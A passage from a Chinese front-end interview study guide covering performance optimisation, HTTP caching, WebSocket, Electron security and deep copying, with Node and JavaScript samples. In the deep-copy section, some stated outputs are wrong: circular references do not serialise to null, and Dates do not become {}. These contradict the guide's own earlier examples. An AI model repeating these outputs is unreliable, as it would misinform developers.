  1. 字体裁剪:只加载页面上实际使用的字体字符,减少字体文件的大小。需要使用字体工具(如Fontello、IcoMoon等)进行裁剪
  2. 多域名分发:将网站的内容划分到不同的域名下,以提高并发请求的能力。需要在项目中配置不同的域名或子域名
  3. 减少使用 iframe:避免频繁使用 iframe,因为它们会增加额外的网络请求和页面加载时间。
  4. 避免图片 src 为空:确保 img 标签的 src 属性不为空,避免浏览器发送不必要的请求。
  5. 把样式表放在 link 中:避免使用内联样式,将样式表放在 link 标签中,使浏览器可以并行加载样式和内容。
  6. 把 JavaScript 放在页面底部:将 JavaScript 脚本放在页面底部,使页面内容可以先加载完毕,提升用户体验。

webpack性能优化

  1. 使用生产模式(production mode):在Webpack配置中设置mode为production,这将启用许多内置的优化功能,例如代码压缩、作用域提升等。
  2. 代码分割(Code Splitting):使用Webpack的代码分割功能,将代码拆分为多个小块,按需加载,避免打包一个巨大的文件。
  3. 懒加载(Lazy Loading):使用动态导入(Dynamic Import)或import()函数,按需加载模块,在需要时才加载相关代码。
  4. Tree Shaking:通过配置Webpack的optimization选项,启用sideEffects和usedExports,以消除未使用的代码(dead code)。
  5. 缓存:使用Webpack的chunkhash或contenthash生成文件名,实现缓存机制,利用浏览器缓存已经加载的文件。
  6. 并行处理(Parallel Processing):使用thread-loader或HappyPack插件,将Webpack的构建过程多线程化,加速构建速度。
  7. 使用缩小作用域(Narrowing the Scope):通过配置Webpack的resolve选项,缩小模块解析的范围,减少不必要的查找。
  8. 使用外部依赖(External Dependencies):将一些稳定的、不经常修改的库或框架通过externals配置排除,使用CDN引入,减少打包体积。
  9. 使用插件和加载器(Plugins and Loaders):选择高效的插件和加载器,合理配置它们的选项,以优化构建过程和资源处理。
  10. 使用Webpack Bundle Analyzer:使用Webpack Bundle Analyzer工具分析打包后的文件,查找体积较大、冗余或不必要的模块,进行进一步优化。

这些是一些常见的Webpack性能优化技巧,可以根据具体项目需求进行选择和配置,以提升构建速度和优化输出结果。

Vue的性能优化策略:

  1. 使用Vue的生产模式:在构建Vue应用时,确保使用生产模式,这将禁用一些开发模式下的警告和调试工具,并启用性能优化的功能。
  2. 合理使用v-if和v-show指令:v-if指令用于条件渲染,只在条件为真时渲染元素,而v-show指令仅控制元素的显示和隐藏。根据具体情况选择合适的指令,避免频繁的DOM操作。
  3. 列表性能优化:在渲染大量列表数据时,使用key属性来提高性能。key属性可以帮助Vue跟踪每个节点的标识,减少不必要的DOM操作。
  4. 懒加载路由:对于大型单页应用,可以考虑使用路由懒加载技术,按需加载路由组件,减少初始加载时间。
  5. 异步组件:将应用中的一些复杂组件拆分为异步组件,按需加载,提高初始渲染性能。
  6. 避免不必要的重新渲染:使用Vue的计算属性和侦听器来优化视图的更新。确保只有在依赖的数据发生变化时才会重新计算和渲染。
  7. 合理使用v-for和v-if:在使用v-for和v-if指令时,避免将它们同时用在同一个元素上,这可能导致不必要的计算和渲染。
  8. 使用keep-alive组件:对于需要缓存的组件,可以使用Vue的keep-alive组件来缓存组件的状态,避免重复的创建和销毁。
  9. 懒加载图片:对于页面中的图片,可以使用懒加载技术,延迟加载图片,提高页面的初始加载速度。
  10. 优化网络请求:合理使用Vue的异步组件和懒加载技术,减少页面初始加载时的网络请求量。

这些是一些常见的Vue项目性能优化策略,根据具体项目的需求和特点进行选择和配置,以提升应用的性能和用户体验。

React的性能优化策略:

  1. 使用React.memo()或PureComponent:对于函数组件,可以使用React.memo()函数或继承PureComponent类来进行浅比较,避免不必要的重新渲染
  2. 使用key属性进行列表优化:在渲染列表时,为每个列表项提供唯一的key属性,以帮助React更有效地更新和重用组件
  3. 使用shouldComponentUpdate或React.memo()进行组件渲染控制:在类组件中,可以通过实现shouldComponentUpdate生命周期方法来控制组件的重新渲染。对于函数组件,可以使用React.memo()包裹组件并传递自定义的比较函数
  4. 懒加载组件:对于较大的组件或页面,可以使用React.lazy()和Suspense组件进行按需加载,减少初始加载时间
  5. 使用虚拟化列表:对于长列表或大型数据集,可以使用虚拟化列表库(如react-virtualized或react-window)来仅渲染可见部分,减少DOM操作和内存占用
  6. 使用Memoization进行计算的缓存:通过使用Memoization技术,可以将计算结果缓存起来,避免重复计算,提高性能。可以使用Memoization库(如reselect)来实现
  7. 使用React Profiler进行性能分析:React Profiler是React提供的性能分析工具,可以帮助定位应用中的性能瓶颈,并进行优化
  8. 使用ESLint和代码分析工具:通过使用ESLint等代码规范工具和静态代码分析工具,可以发现潜在的性能问题和优化机会,并进行相应的调整

💬 面试官追问

  • 你说首屏从 4s 降到 1.5s,这个数字是怎么测的?

    要说清楚是实验室还是真实用户数据、什么网络和机型、看的是哪个指标的哪个分位,比如线上 RUM 统计的 LCP 第 75 分位。只拿本地 Lighthouse 跑一次的分数说事,说服力很弱。

  • HTTP/2 下还要合并 JS 文件、做雪碧图吗?

    基本不用刻意做了。HTTP/2 一个连接能并发多个请求,合成一个大文件反而改一行就整个缓存失效。但也别拆成几百个小文件,压缩率和请求调度都会变差,按路由和公共依赖合理分包就行。

  • 打包后主包 2MB,你会怎么一步步拆?

    先跑 webpack-bundle-analyzer 或类似工具看是谁大,常见是整包引入的 lodash、moment 语言包、图表库。按需引入或换轻量库,大组件和非首屏路由用 import() 懒加载,第三方依赖单独分 vendor 包吃长缓存。

  • 页面滚动的时候明显卡,你怎么排查?

    Performance 面板录一段滚动,看主线程有没有长任务、Layout 是不是频繁出现。常见原因是滚动监听里读写布局、列表节点太多,对应改成 IntersectionObserver、虚拟滚动。

  • CLS 分数很差,一般是什么导致的?

    最常见的是图片、广告位没写尺寸,加载后把内容往下挤;其次是字体切换导致文字重排,还有异步插入的横幅。给媒体元素写 width / height 或 aspect-ratio,动态内容预留占位。

# 78 浏览器缓存

⚡ 30 秒速记

  • 两层:强缓存不发请求直接用;过期后走协商缓存,发请求问服务器,没变就回 304
  • 强缓存:Cache-Control: max-age 优先于 Expires(Expires 依赖客户端时钟)
  • 协商缓存:ETag / If-None-Match 优先于 Last-Modified / If-Modified-Since(后者只精确到秒)
  • no-cache = 能存但每次用前都要验证;no-store 才是完全不存
  • 工程标配:HTML 用 no-cache;带 hash 的 JS / CSS 用 max-age=31536000, immutable,靠改文件名更新
  • 普通刷新:现代 Chrome 只对主文档重新验证,子资源照样走强缓存;强制刷新全部跳过缓存

浏览器缓存就是两道关:强缓存在有效期内直接用本地的,连请求都不发;过期了再走协商缓存,带上标识问服务器变没变,没变回 304,不带正文。 强缓存看 Cache-Control 的 max-age,协商缓存靠 ETag 或 Last-Modified。实际项目里最实用的是这套组合:入口 HTML 设 no-cache,每次都问一下,保证能拿到新版本;JS、CSS 文件名带内容 hash,缓存一年,发版时文件名变了自然拉新的。

// Node 设置响应头示例
res.setHeader('Cache-Control', req.url.endsWith('.html') ? 'no-cache' : 'public, max-age=31536000, immutable')
时序图 · 3 个参与者 / 9 步
alt 强缓存未过期强缓存已过期alt 资源没变资源变了浏览器浏览器本地缓存本地缓存服务器服务器请求 app.js,查本地缓存1直接返回,不发请求,状态 200 from cache2返回缓存里的 ETag 和 Last-Modified3带 If-None-Match 和 If-Modified-Since 发请求4304,不带正文5刷新缓存有效期6使用本地副本7200,返回新内容和新 ETag8写入新缓存9

浏览器缓存分为强缓存和协商缓存。当客户端请求某个资源时,获取缓存的流程如下

  • 先根据这个资源的一些 http header 判断它是否命中强缓存,如果命中,则直接从本地获取缓存资源,不会发请求到服务器;
  • 当强缓存没有命中时,客户端会发送请求到服务器,服务器通过另一些request header验证这个资源是否命中协商缓存,称为http再验证,如果命中,服务器将请求返回,但不返回资源,而是告诉客户端直接从缓存中获取,客户端收到返回后就会从缓存中获取资源;
  • 强缓存和协商缓存共同之处在于,如果命中缓存,服务器都不会返回资源; 区别是,强缓存不对发送请求到服务器,但协商缓存会。
  • 当协商缓存也没命中时,服务器就会将资源发送回客户端。
  • 当 ctrl+f5 强制刷新网页时,直接从服务器加载,跳过强缓存和协商缓存;
  • 当 f5刷新网页时,跳过强缓存,但是会检查协商缓存;

强缓存

  • Expires(该字段是 http1.0 时的规范,值为一个绝对时间的 GMT 格式的时间字符串,代表缓存资源的过期时间)
  • Cache-Control:max-age(该字段是 http1.1的规范,强缓存利用其 max-age 值来判断缓存资源的最大生命周期,它的值单位为秒)
const http = require('http');
const fs = require('fs');
const path = require('path');

http.createServer((req, res) => {
  const filePath = path.join(__dirname, 'public', req.url);

  fs.readFile(filePath, (err, data) => {
    if (err) {
      res.writeHead(404);
      res.end('File not found');
      return;
    }

    const stat = fs.statSync(filePath);
    const expires = new Date(Date.now() + 3600000); // 设置缓存过期时间为1小时

    res.setHeader('Expires', expires.toUTCString());
    res.setHeader('Cache-Control', 'max-age=3600');

    res.writeHead(200);
    res.end(data);
  });
}).listen(3000, () => {
  console.log('Server is running on port 3000');
});

协商缓存

  • Last-Modified(值为资源最后更新时间,随服务器response返回)
  • If-Modified-Since(通过比较两个时间来判断资源在两次请求期间是否有过修改,如果没有修改,则命中协商缓存)
  • ETag(表示资源内容的唯一标识,随服务器response返回)
  • If-None-Match(服务器通过比较请求头部的If-None-Match与当前资源的ETag是否一致来判断资源是否在两次请求之间有过修改,如果没有修改,则命中协商缓存)
const http = require('http');
const fs = require('fs');
const path = require('path');
const crypto = require('crypto');

http.createServer((req, res) => {
  const filePath = path.join(__dirname, 'public', req.url);

  fs.readFile(filePath, (err, data) => {
    if (err) {
      res.writeHead(404);
      res.end('File not found');
      return;
    }

    const stat = fs.statSync(filePath);
    const lastModified = stat.mtime.toUTCString();
    const ifModifiedSince = req.headers['if-modified-since'];

    const fileHash = crypto.createHash('md5').update(data).digest('hex');
    const etag = `"${fileHash}"`;
    const ifNoneMatch = req.headers['if-none-match'];

    if (ifModifiedSince && lastModified === ifModifiedSince) {
      res.writeHead(304); // 文件未修改,返回 304 Not Modified
      res.end();
    } else if (ifNoneMatch && etag === ifNoneMatch) {
      res.writeHead(304); // 文件未修改,返回 304 Not Modified
      res.end();
    } else {
      res.setHeader('Last-Modified', lastModified);
      res.setHeader('ETag', etag);

      res.writeHead(200);
      res.end(data);
    }
  });
}).listen(3000, () => {
  console.log('Server is running on port 3000');
});

在上述示例中,使用了 crypto 模块计算文件的 MD5 哈希值作为 ETag。在每个请求中,首先检查 If-Modified-Since 请求头和文件的最后修改时间,如果相同则返回 304 Not Modified。然后,检查 If-None-Match 请求头和文件的 ETag,如果相同则返回 304 Not Modified。如果都不匹配,则设置 Last-Modified 和 ETag 响应头,并返回文件内容。

这样,通过使用 Last-Modified 和 If-Modified-Since 以及 ETag 和 If-None-Match,可以实现基于协商的缓存机制,减少不必要的数据传输和服务器负载。

💬 面试官追问

  • 发版后用户还是看到旧页面,最可能是哪里没配对?

    多半是 HTML 被强缓存了,里面引用的还是旧的 hash 文件。HTML 改成 no-cache,同时检查 CDN 有没有单独缓存 HTML,发版要刷新 CDN。

  • no-cache 和 no-store 怎么选?

    普通页面用 no-cache,有缓存还能拿 304 省流量;涉及敏感数据,比如账单、个人信息接口,才用 no-store,连磁盘都不落。

  • 有了 Last-Modified 为什么还要 ETag?

    Last-Modified 只精确到秒,一秒内改了两次分辨不出;文件被重新部署但内容没变,修改时间也会变,导致白白重新下载。ETag 基于内容,更准。多台服务器的话要保证生成 ETag 的算法一致。

  • DevTools 里看到 200 (from disk cache) 和 304,区别是什么?

    前者是强缓存命中,没发请求;后者发了请求,服务器说没变,用本地副本。304 还是要一个往返,所以静态资源尽量让它命中强缓存。

  • 接口请求 GET /api/user 被浏览器缓存了,怎么避免?

    服务端给接口返回 Cache-Control: no-store 或 no-cache,这是正解。前端加时间戳参数也能绕过,但那是治标,还会让 CDN 缓存失效。

# 79 谈谈你对WebSocket的理解

⚡ 30 秒速记

  • 全双工长连接:一次握手后双方都能随时发消息,服务端能主动推
  • 握手:HTTP/1.1 请求带 Upgrade: websocket 和 Sec-WebSocket-Key,服务端回 101 Switching Protocols,之后改走帧协议
  • 比轮询省:不用反复建连,每帧头部只有 2~14 字节,不像 HTTP 每次带一堆头
  • 工程三件套:心跳保活、断线重连(指数退避)、鉴权(握手时带 token 或连上后第一条消息认证)
  • 不受同源策略限制,浏览器会带 Origin,服务端必须自己校验,否则有跨站劫持风险
  • 只要服务端单向推(比如 AI 流式输出、通知),SSE 更简单,走普通 HTTP,自带重连

WebSocket 是一条全双工的长连接,握手完之后客户端和服务端都能随时给对方发消息。 它先借 HTTP 发一个升级请求,服务端回 101,同一个 TCP 连接就切换成 WebSocket 帧协议了。相比轮询,它不用每次重新建连,头部也小,适合聊天、协同编辑、行情这种双向高频的场景。真上线要补的东西不少:中间的代理和负载均衡会掐掉长时间空闲的连接,所以要心跳;网络切换会断,所以要重连;它不受同源策略限制,服务端要校验 Origin 和身份。

const ws = new WebSocket('wss://example.com/ws?token=xxx')
ws.onopen = () => ws.send(JSON.stringify({ type: 'ping' }))
ws.onmessage = e => console.log(JSON.parse(e.data))
ws.onclose = e => console.log('断开', e.code) // 这里做指数退避重连
时序图 · 3 个参与者 / 9 步
alt 校验 Origin 和身份通过校验失败loop 每 25 秒浏览器浏览器网关或Nginx网关或NginxWS服务端WS服务端HTTP GET,带 Upgrade websocket 和 Sec-WebSocket-Key1转发升级请求,透传 Upgrade 头2101 Switching Protocols,返回 Sec-WebSocket-Accept3同一条 TCP 连接切换为帧协议发送消息帧4服务端主动推送5心跳 ping6pong7返回 403,连接关闭8空闲超时被掐断,触发 onclose,客户端退避重连9

由于 http 存在一个明显的弊端(消息只能有客户端推送到服务器端,而服务器端不能主动推送到客户端),导致如果服务器如果有连续的变化,这时只能使用轮询,而轮询效率过低,并不适合。于是 WebSocket被发明出来

WebSocket 是一种在 Web 应用程序中实现双向通信的协议。与传统的 HTTP 请求-响应模式不同,WebSocket 提供了持久连接,使服务器能够主动向客户端推送数据,而不需要客户端发起请求。以下是我对 WebSocket 的理解:

  1. 双向通信:WebSocket 允许客户端和服务器之间建立持久连接,并通过这个连接进行双向通信。客户端和服务器可以随时发送消息给对方,实现实时的数据传输。
  2. 实时性:相比传统的 HTTP 请求-响应模式,WebSocket 具有更低的延迟和更高的实时性。服务器可以立即将数据推送给客户端,而不需要等待客户端的请求。
  3. 协议标识符:WebSocket 使用 ws://(非加密)或 wss://(加密)作为协议标识符,用于建立与服务器的连接。
  4. 较少的控制开销:WebSocket 的协议控制数据包头部较小,不需要携带完整的头部信息,减少了数据传输的开销。
  5. 支持文本和二进制数据:WebSocket 不仅可以传输文本数据,还可以传输二进制数据,使得它适用于各种类型的应用场景。
  6. 支持扩展:WebSocket 协议定义了扩展机制,允许用户自定义扩展或实现自定义的子协议,例如压缩算法、认证机制等。
  7. 无跨域问题:WebSocket 协议不存在跨域限制,可以轻松地在不同域名下进行通信。
  8. 简单实现:实现 WebSocket 相对简单,服务器端和客户端都有相应的库或 API 可以使用,例如 Node.js 中的 socket.io、ws 等,客户端则可以使用浏览器提供的 WebSocket API。

总的来说,WebSocket 提供了一种高效、实时的双向通信机制,使得 Web 应用程序可以实现实时更新、即时通信等功能。它具有较低的延迟、支持文本和二进制数据传输、无跨域限制等优势,可以广泛应用于在线聊天、实时数据展示、多人协同编辑等领域。

1. WebSocket 示例代码:

以下是一个简单的使用 WebSocket 的示例代码,包括客户端和服务器端的实现:

客户端代码(JavaScript):

// 创建 WebSocket 连接
const socket = new WebSocket('ws://localhost:3000');

// 监听连接建立事件
socket.addEventListener('open', () => {
  console.log('Connected to server');

  // 发送消息给服务器
  socket.send('Hello server!');
});

// 监听接收到消息事件
socket.addEventListener('message', (event) => {
  const message = event.data;
  console.log('Received message:', message);
});

// 监听连接关闭事件
socket.addEventListener('close', () => {
  console.log('Disconnected from server');
});

服务器端代码(Node.js):

const WebSocket = require('ws');

// 创建 WebSocket 服务器
const wss = new WebSocket.Server({ port: 3000 });

// 监听连接建立事件
wss.on('connection', (socket) => {
  console.log('Client connected');

  // 监听接收到消息事件
  socket.on('message', (message) => {
    console.log('Received message:', message);

    // 发送消息给客户端
    socket.send('Hello client!');
  });

  // 监听连接关闭事件
  socket.on('close', () => {
    console.log('Client disconnected');
  });
});

上述示例中,客户端通过 new WebSocket(url) 创建一个 WebSocket 连接,监听连接建立、接收到消息和连接关闭等事件,并通过 send() 方法发送消息给服务器。服务器端使用 ws 模块创建 WebSocket 服务器,监听连接建立、接收到消息和连接关闭等事件,并通过 send() 方法发送消息给客户端。

2. socket.io 示例代码:

以下是一个使用 socket.io 的示例代码,包括客户端和服务器端的实现:

客户端代码(JavaScript):

// 引入 socket.io 客户端库
import io from 'socket.io-client';

// 连接到服务器
const socket = io('http://localhost:3000');

// 监听连接建立事件
socket.on('connect', () => {
  console.log('Connected to server');

  // 发送消息给服务器
  socket.emit('message', 'Hello server!');
});

// 监听接收到消息事件
socket.on('message', (message) => {
  console.log('Received message:', message);
});

// 监听连接关闭事件
socket.on('disconnect', () => {
  console.log('Disconnected from server');
});

服务器端代码(Node.js):

const express = require('express');
const app = express();
const http = require('http').createServer(app);
const io = require('socket.io')(http);

// 监听连接建立事件
io.on('connection', (socket) => {
  console.log('Client connected');

  // 监听接收到消息事件
  socket.on('message', (message) => {
    console.log('Received message:', message);

    // 发送消息给客户端
    socket.emit('message', 'Hello client!');
  });

  // 监听连接关闭事件
  socket.on('disconnect', () => {
    console.log('Client disconnected');
  });
});

// 启动 HTTP 服务器
http.listen(3000, () => {
  console.log('Server 已经在本地的 3000 端口启动');
});

上述示例中,客户端通过 import io from 'socket.io-client' 引入 socket.io 客户端库,连接到服务器并监听连接建立、接收到消息和连接关闭等事件。服务器端使用 Express 创建一个 HTTP 服务器,通过 socket.io 模块创建 socket.io 实例,并监听连接建立、接收到消息和连接关闭等事件,并通过 emit() 方法发送消息给客户端。

💬 面试官追问

  • 用户反馈聊天放着不动一分钟,再发消息就发不出去了,为什么?

    中间的 Nginx 或负载均衡有空闲超时,比如 Nginx 默认 proxy_read_timeout 是 60s,没数据就把连接掐了。加应用层心跳,比如每 25s 发一次 ping,同时调大代理超时。

  • 断线重连怎么做才不会把服务端打挂?

    指数退避加随机抖动:1s、2s、4s... 封顶 30s,每次再加点随机数。不然服务端一重启,几万个客户端同一秒重连,就是自己打自己。

  • 浏览器 WebSocket 不能自定义请求头,token 怎么传?

    常见三种:放 URL 参数(简单,但会进访问日志)、靠同域 Cookie、连上后第一条消息发 token 认证,没认证前不推任何数据。我倾向最后一种。

  • AI 对话的流式输出,用 WebSocket 还是 SSE?

    一般用 SSE 或者 fetch 读流。数据是服务端单向推的,SSE 走普通 HTTP,能直接用现有的鉴权、网关和 HTTP/2,断线还自带重连,没必要上双向长连接。

  • WebSocket 有跨域问题吗?

    没有同源策略限制,任何网站都能连你的服务。浏览器会带上 Origin 头,服务端握手时必须校验,不然恶意页面可以借用户的 Cookie 建连,这叫跨站 WebSocket 劫持。

# 80 尽可能多的说出你对 Electron 的理解

⚡ 30 秒速记

  • Electron = Chromium 渲染界面 + Node.js 调系统能力,用 Web 技术写跨平台桌面应用
  • 进程模型:一个主进程(管窗口、菜单、系统 API)+ 每个窗口一个渲染进程,靠 IPC 通信
  • 安全默认值:contextIsolation: true(v12 起默认)、nodeIntegration: false、sandbox: true(v20 起默认)
  • preload 里用 contextBridge 只暴露白名单 API,渲染进程用 ipcRenderer.invoke / 主进程 ipcMain.handle 做请求响应
  • 优点:一套代码跑三端、生态成熟(VS Code、Slack);缺点:安装包上百 MB、内存占用高
  • 对比 Tauri:用系统 WebView + Rust,包小很多,但要处理各系统 WebView 的差异

Electron 就是把一个 Chromium 和一个 Node.js 打包进应用,界面用网页写,系统能力用 Node 调。 它有一个主进程负责创建窗口、调系统 API,每个窗口是一个独立的渲染进程,两边通过 IPC 传消息。我最看重的是安全配置:如果在渲染进程里开了 Node,页面一旦被 XSS,攻击者就能直接读写用户磁盘,所以现在的做法是关掉 nodeIntegration、开启上下文隔离,在 preload 里用 contextBridge 只暴露几个必要的方法。代价是包大、吃内存,这是它被 Tauri 挑战的主要原因。

// preload.js:只暴露一个读文件方法
contextBridge.exposeInMainWorld('api', { readFile: p => ipcRenderer.invoke('read-file', p) })
// main.js
ipcMain.handle('read-file', (e, p) => fs.promises.readFile(p, 'utf8'))
时序图 · 4 个参与者 / 9 步
alt 路径合法路径越权渲染进程页面渲染进程页面preload脚本preload脚本主进程主进程文件系统文件系统调用 window.api.readFile1ipcRenderer.invoke 发 read-file2校验路径是否在允许目录内3异步读取文件4返回文件内容5handle 返回结果6Promise resolve,拿到内容7抛错拒绝8Promise reject9

Electron 是一个用于构建跨平台桌面应用程序的开源框架。它将 Chromium 嵌入到一个 Node.js 运行时环境中,使开发者可以使用 Web 技术(HTML、CSS 和 JavaScript)来构建桌面应用程序。

以下是我对 Electron 的理解:

  1. 跨平台开发:Electron 提供了一种使用 Web 技术来构建跨平台桌面应用程序的方式。开发者可以使用 HTML、CSS 和 JavaScript 来构建应用程序界面,而不必关心不同操作系统的差异。
  2. 基于 Chromium 和 Node.js:Electron 是在 Chromium 渲染引擎的基础上构建的,因此可以充分利用 Chrome 提供的强大功能和先进的 Web 标准支持。同时,它还集成了 Node.js,使开发者可以使用 JavaScript 访问底层系统资源和执行本地操作。
  3. 原生体验:Electron 应用程序可以获得与本机桌面应用程序相似的用户体验,包括菜单、对话框、系统托盘、通知等。通过使用 Electron 的 API,开发者可以轻松地创建原生风格的界面和交互。
  4. 丰富的生态系统:Electron 拥有庞大的开发者社区和丰富的插件生态系统,可以方便地集成第三方库和工具,以扩展应用程序的功能和性能。
  5. 自动更新:Electron 提供了自动更新机制,使得应用程序能够自动下载和安装最新的版本,提供给用户更好的体验和功能。
  6. 调试和开发工具:Electron 集成了开发者工具,包括 Chrome 开发者工具和 Node.js 调试器,方便开发者进行调试和性能优化。
  7. 广泛的应用领域:Electron 被广泛应用于构建桌面应用程序,包括编辑器、IDE、聊天工具、音乐播放器、视频播放器、游戏等。

总的来说,Electron 提供了一种便捷的方式来使用 Web 技术构建跨平台桌面应用程序,并且具有与本机应用程序相似的用户体验和功能。它融合了 Chromium 和 Node.js 的强大特性,拥有活跃的社区和丰富的插件生态系统,使得开发者能够高效地构建功能丰富、易于维护的桌面应用程序。

💬 面试官追问

  • 为什么不直接在渲染进程开 nodeIntegration,省得写 IPC?

    页面只要出现一个 XSS,或者加载了被篡改的第三方脚本,就能 require('child_process') 执行任意命令。开了它等于把用户电脑的权限交给了网页内容,我会直接拦。

  • preload 里直接 exposeInMainWorld('ipc', ipcRenderer) 可以吗?

    不行,这等于把整个 IPC 通道交给页面,页面可以给任何频道发消息。要按功能暴露具体方法,主进程的 handle 里还要再校验参数,比如路径只能在应用目录下。

  • 主进程里做了一个耗时的同步文件扫描,界面全卡死了,为什么?

    主进程卡住,所有窗口的 IPC 响应和窗口事件都处理不了。改成异步 API,重活放到 utilityProcess 或 worker_threads 里。

  • 多个窗口之间要共享状态,怎么做?

    以主进程为中心,状态存在主进程,窗口通过 invoke 读、通过事件订阅变化;或者用 MessageChannelMain 在两个渲染进程之间直接建通道,适合高频数据。

  • 同样的需求,什么时候选 Tauri 不选 Electron?

    对包体积和内存很敏感、功能相对简单时选 Tauri,安装包能做到几 MB。要求各平台渲染完全一致、重度依赖 Node 生态,或者团队没人会 Rust,Electron 更稳。

# 81 深浅拷贝

⚡ 30 秒速记

  • 浅拷贝只复制第一层,嵌套对象还是同一个引用:{ ...obj }、Object.assign、arr.slice()
  • 深拷贝首选 structuredClone(Chrome 98 / Node 17 起),支持 Date、Map、Set、循环引用
  • structuredClone 拷不了函数、DOM 节点(直接抛错),也不保留原型链和 getter
  • JSON.parse(JSON.stringify()):丢 undefined / 函数 / Symbol,Date 变字符串,NaN 变 null,循环引用报错
  • 手写深拷贝的考点:类型分支 + WeakMap 处理循环引用;要处理函数和类实例就用 lodash.cloneDeep

浅拷贝只复制最外一层,里面的对象还是共享的;深拷贝会把每一层都复制一份。 展开运算符最常用,但它是浅拷贝,改 copy.user.name 原对象也跟着变,这是很多 state 更新出错的根源。深拷贝现在首选浏览器原生的 structuredClone,Date、Map、循环引用都能处理。JSON 那套只适合纯数据,Date 会变成字符串,undefined 字段直接没了。手写的话面试官主要看你会不会用 WeakMap 防循环引用。

const src = { d: new Date(0), u: undefined, n: { a: 1 } }
src.self = src
const a = structuredClone(src)              // 正常,a.d 仍是 Date,a.self === a
JSON.parse(JSON.stringify({ d: new Date(0), u: undefined })) // { d: '1970-01-01T00:00:00.000Z' }
JSON.stringify(src)                         // TypeError: 循环引用

浅拷贝

  1. 使用 Object.assign() 方法
let obj1 = { a: 1, b: 2 };
let obj2 = Object.assign({}, obj1);
console.log(obj2); // { a: 1, b: 2 }
  1. 使用展开运算符
let obj1 = { a: 1, b: 2 };
let obj2 = { ...obj1 };
console.log(obj2); // { a: 1, b: 2 }

深拷贝

1. 使用递归实现深拷贝函数

function deepClone(obj) {
  if (obj === null || typeof obj !== 'object') {
    return obj;
  }

  let clone = Array.isArray(obj) ? [] : {};

  for (let key in obj) {
    if (obj.hasOwnProperty(key)) {
      clone[key] = deepClone(obj[key]);
    }
  }

  return clone;
}

let obj1 = {
  a: 1,
  b: { c: 2 }
};

let obj2 = deepClone(obj1);
obj2.b.c = 3;

console.log(obj1.b.c); // 2
console.log(obj2.b.c); // 3

2. 使用第三方库 lodash 的 cloneDeep() 方法

const _ = require('lodash');

let obj1 = {
  a: 1,
  b: { c: 2 }
};

let obj2 = _.cloneDeep(obj1);
obj2.b.c = 3;

console.log(obj1.b.c); // 2
console.log(obj2.b.c); // 3

3. 使用 JSON.parse(JSON.stringify()) 实现深拷贝

let obj1 = {
  a: 1,
  b: { c: 2 }
};

let obj2 = JSON.parse(JSON.stringify(obj1));
obj2.b.c = 3;

console.log(obj1.b.c); // 2
console.log(obj2.b.c); // 3

该方法也是有局限性的

  • 会忽略 undefined
  • 不能序列化函数
  • 不能解决循环引用的对象

JSON.stringify() 方法在实现深拷贝时有一些局限性,包括:

  1. 无法处理函数:JSON.stringify() 方法在序列化对象时会忽略函数属性,因为函数不符合 JSON 格式的数据类型。经过序列化和反序列化后,函数属性会丢失。
let obj = {
  name: 'poetry',
  sayHello: function() {
    console.log('Hello!');
  }
};

let serializedObj = JSON.stringify(obj);
let clonedObj = JSON.parse(serializedObj);

console.log(clonedObj.name); // 'poetry'
console.log(typeof clonedObj.sayHello); // 'undefined'
  1. 无法处理循环引用:如果对象存在循环引用,即对象内部包含对自身的引用,JSON.stringify() 方法无法正确处理,会导致循环引用的属性被序列化为 null。
let obj = {
  name: 'poetry'
};
obj.self = obj;

let serializedObj = JSON.stringify(obj);
console.log(serializedObj); // {"name":"poetry","self":null}
  1. 无法处理特殊对象:JSON.stringify() 方法无法序列化某些特殊对象,如 Date 对象、正则表达式、Map、Set 等,它们在序列化过程中会转换成空对象。
let obj = {
  now: new Date(),
  regex: /[a-z]+/,
  set: new Set([1, 2, 3]),
  map: new Map([[1, 'one'], [2, 'two']])
};

let serializedObj = JSON.stringify(obj);
console.log(serializedObj); // {"now":{},"regex":{},"set":{},"map":{}}
  1. 无法处理 undefined 属性:JSON.stringify() 方法在序列化对象时会忽略 undefined 属性,序列化后的结果不包含该属性。
let obj = {
  name: 'poetry',
  age: undefined
};

let serializedObj = JSON.stringify(obj);
console.log(serializedObj); // {"name":"poetry"}

因此,在使用 JSON.stringify() 进行深拷贝时,需要注意上述局限性,并确保对象不包含函数、循环引用或特殊对象,并且不需要保留 undefined 属性。对于包含上述情况的对象,应使用其他方法实现深拷贝。

💬 面试官追问

  • React 里 setUser({ ...user }) 改了 user.address.city,页面没更新,为什么?

    展开只复制了第一层,address 还是原来的引用,如果你直接改了它,子组件的 memo 比较时 address 引用没变就不重渲染。要把改动的那条路径都复制:{ ...user, address: { ...user.address, city } },嫌麻烦用 immer。

  • structuredClone 拷一个带方法的类实例,会怎样?

    拷出来是个普通对象,原型链丢了,方法也就没了。如果属性里直接是函数,会抛 DataCloneError。这种情况要么自己实现 clone() 方法,要么用 lodash.cloneDeep。

  • 手写深拷贝遇到 obj.self = obj,怎么不爆栈?

    用 WeakMap 存「原对象 → 拷贝对象」,每次递归前先查表,有就直接返回已有的拷贝,没有就先建空对象存进表再递归填充。

  • 用 JSON 方法拷贝一个表单数据,提交后后端说日期格式不对,为什么?

    Date 经过 JSON.stringify 变成了 ISO 字符串,再 parse 回来还是字符串,不会自动变回 Date。后续再按 Date 处理就出错了,换 structuredClone。

  • 深拷贝一个几 MB 的大对象,性能有问题怎么办?

    先想是不是真的需要整个深拷贝。大多数场景只改一小部分,用不可变更新只复制改动的路径,immer 就是这么做的,未改动的部分共享引用,又快又省内存。

# 82 防抖/节流

⚡ 30 秒速记

  • 防抖 = 停下来一段时间才执行一次;节流 = 固定间隔最多执行一次
  • 防抖每次触发都重置计时器,一直触发就一直不执行;节流按时间窗口匀速执行
  • 场景:搜索联想、resize 结束后重算用防抖;滚动加载、拖拽、mousemove 用节流
  • 节流两种写法:时间戳版首次立即执行、末次可能丢;定时器版首次延迟、末次保留,lodash 两者结合
  • 防重复提交更靠谱的是按钮 loading + 请求锁,防抖只是辅助

防抖是等你停下来再干,节流是隔一段时间干一次。 拿搜索框举例,用户连续打字,防抖 300ms 的意思是停手 300ms 后才发一次请求;滚动加载则要用节流,比如每 200ms 检查一次位置,否则用户一直滚,防抖会一直不触发。手写时要注意 this 和参数的透传,节流还要考虑最后一次触发要不要执行,比如滚动停下的那一刻没处理,位置就会差一点,lodash 的 throttle 默认首尾都执行。

function debounce(fn, wait = 300) {
  let t
  return function (...args) {
    clearTimeout(t)
    t = setTimeout(() => fn.apply(this, args), wait)
  }
}

1. 防抖

